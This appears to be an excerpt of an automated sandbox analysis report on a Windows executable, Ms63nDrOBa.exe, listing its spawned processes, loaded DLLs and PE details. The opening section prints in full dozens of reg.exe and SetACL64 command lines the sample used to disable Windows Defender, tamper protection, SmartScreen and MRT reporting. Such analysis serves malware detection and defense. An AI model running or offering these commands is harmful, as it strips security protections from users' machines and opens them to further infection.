Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Mpuser" /v "MpEnablePus" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: dfscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Ms63nDrOBa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdbG source: SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr
Source:	Binary string: D:\Projects\New\win_version_csharp\obj\Release\win_version_csharp.pdb source: win_version_csharp.exe.0.dr
Source:	Binary string: D:\Projects\ConsoleApplication9\ConsoleApplication9\obj\Release\ConsoleApplication9.pdb source: uxdabweej.exe.0.dr
Source:	Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdb source: SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr

Source: win_version_csharp.exe.0.dr

Static PE information: 0xEFE04B64 [Fri Jul 12 07:53:08 2097 UTC]

Source: SetACL64.exe.0.dr

Static PE information: section name: _RDATA

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
